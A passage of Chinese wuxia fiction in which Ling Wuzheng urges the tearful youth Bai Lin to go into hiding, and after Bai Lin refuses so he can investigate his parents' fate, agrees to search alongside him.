“既然知错了,等下我就送你回师父那里……” 凌无争话说一半,柏麟似是才想起什么,突然打断他说:“对了无争!小虎和小豹!他们两个是你的师弟,他们还在明观的手里,不知道被带到哪儿去了!” “他们还在客栈。看那个明观的态度,大概也不会为难他们。”凌无争淡定地说,“我在出城找你之前,已经托万通钱庄的周掌柜去解救他们了。之后周掌柜会送他们回到师父那,再护送他们一起去荷关找我师兄,暂且避避风头。” “啊?你已经知道他们的下落了?” 凌无争抱着胳膊,露出一点不耐烦的表情,言简意赅地解释:“说起来还是因为你惹的麻烦。客栈的伙计去给周掌柜通风报信,周掌柜又找上了我。武林大会的内情我还没听全,就不得不先过来救你。” 柏麟不好意思地挠了挠脸颊:“我也没想到事情会变成这样。” 凌无争一拍他的后背:“行了,多说无益,你先随师父他们去荷关。到了那边,自然有我师兄保护你。” 平时向来不敢违逆他的命令的少年,这次竟然挣脱开了凌无争推他的手。柏麟看着凌无争的眼睛,认真地说:“我还不能走。我还没有查清楚我爹的事情。” 凌无争说:“你爹的下落由我去查。武林大会之后,所有人都会来找你和你娘,你只有躲到他们找不到的地方才能安全。” 柏麟却突然红了眼眶:“我安全了又有什么用?” “有人闯进我家的时候,我没能保护我娘。我爹下落不明的时候,我也没有出去找他。到现在,我只剩下他们的剑,却连他们的剑都落到了别人手里。” 柏麟本不想哭的,可他只是稍一眨眼,眼泪就不小心落到了脸上。一想起无争平时最不耐烦他哭鼻子,他抬手胡乱地抹去脸上的湿润,仓促地解释:“我没有哭,我这是被风吹得眼睛湿。反正我不要跟他们走,我不要躲到随便什么地方。我一定会查清是谁要害我爹娘。” 从前哪怕是柏麟在亲娘的坟前几乎哭断了肝肠,凌无争也只是觉得他吵。然而此刻,凌无争也说不出为什么,看着柏麟擦眼泪的样子,他忽然觉得心里哪处也跟着酸了一下。 凌无争下意识地想抬起手,想伸手触一触那少年的头顶,然而指尖稍微一动,就硌在了冷硬的刀鞘上。那一点指尖的凉意像是带了霜,将他整颗心又重新冰住了。 凌无争叹了口气:“好吧。那我就和你一起去查。”